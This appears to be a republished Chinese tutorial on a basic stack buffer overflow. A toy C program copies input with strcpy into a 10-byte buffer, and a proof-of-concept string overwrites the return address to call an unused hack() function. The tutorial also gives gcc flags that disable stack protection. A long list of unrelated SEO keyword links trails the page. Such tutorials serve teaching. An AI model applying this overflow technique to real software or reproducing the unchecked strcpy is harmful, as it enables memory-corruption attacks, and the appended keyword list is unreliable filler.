简单栈溢出利用
发表于:2025-01-19 作者:千家信息网编辑
千家信息网最后更新 2025年01月19日,#include#includevoid fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}v
千家信息网最后更新 2025年01月19日简单栈溢出利用
#include#include void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}void hack(){ printf("flag\n");}int main(){ char name[]="Alex@bbb"; fun(name); return 0;}
上面的程序是一个正常的C语言程序,但是main函数中没有调用hack()函数,下面我就演示下如何利用缓冲区溢出来执行hack函数的内容。
使用codeblocks编译并执行上述程序后,拖入od查看栈的变化情况,看看给变量name赋什么值的时候,会恰好覆盖掉call fun处的函数返回地址
F7跟进 F8 一句一句执行:
因此我们添加poc:
#include#include void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}void hack(){ printf("flag\n");}int main(){ char name[]="Alex@bbbaaaaaaaaaaaaaa\x59\x13\x40\00"; //这里后边四个为hack()函数地址 fun(name); return 0;}
重新编译执行后,我们发现利用成功:
在使用ubuntu复现栈溢出的时候需要关闭栈保护机制:
使用gcc编译时全部关闭保护机制,参数-fno-stack-protector用来关闭gcc编译器gs验证码机制,
-z execstack用来关闭ld链接器堆栈段不可执行机制。
这里有一个linux下64位的栈溢出过程。
https://www.secpulse.com/archives/32328.html
函数
机制
编译
程序
地址
时候
保护
成功
内容
参数
变量
堆栈
情况
缓冲区
编译器
语言
语言程序
过程
链接
面的
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
税务系统网络安全制度
网络安全问题100道
秦皇岛网络技术哪个好
苹果tv显示等待更新服务器
网络安全福建省
信息网络技术专业考研方向
超级人类多少个服务器
松江区市场软件开发销售方法
关于网络安全检测装置
深圳saas管理软件开发商
数据库重装后原本数据在哪
商务软件开发公司
丽江服务器上门回收电话
银川新华互联网科技学校官网
学什么网络技术有用
多节点服务器管理器
数据库中常见的数据模型
指弋上海网络技术有限公司
手续费查询数据库设计
oracle怎么查找多个数据库
e charts与数据库交互
网络安全博览会举行参观成都
网络安全警告图片
国际经济与贸易专业相关数据库
中国互联网科技行业投资
医院金保网服务器要求
深圳saas管理软件开发商
软件开发方Q78 867
网盒杯网络技术挑战赛
育碧服务器加载失败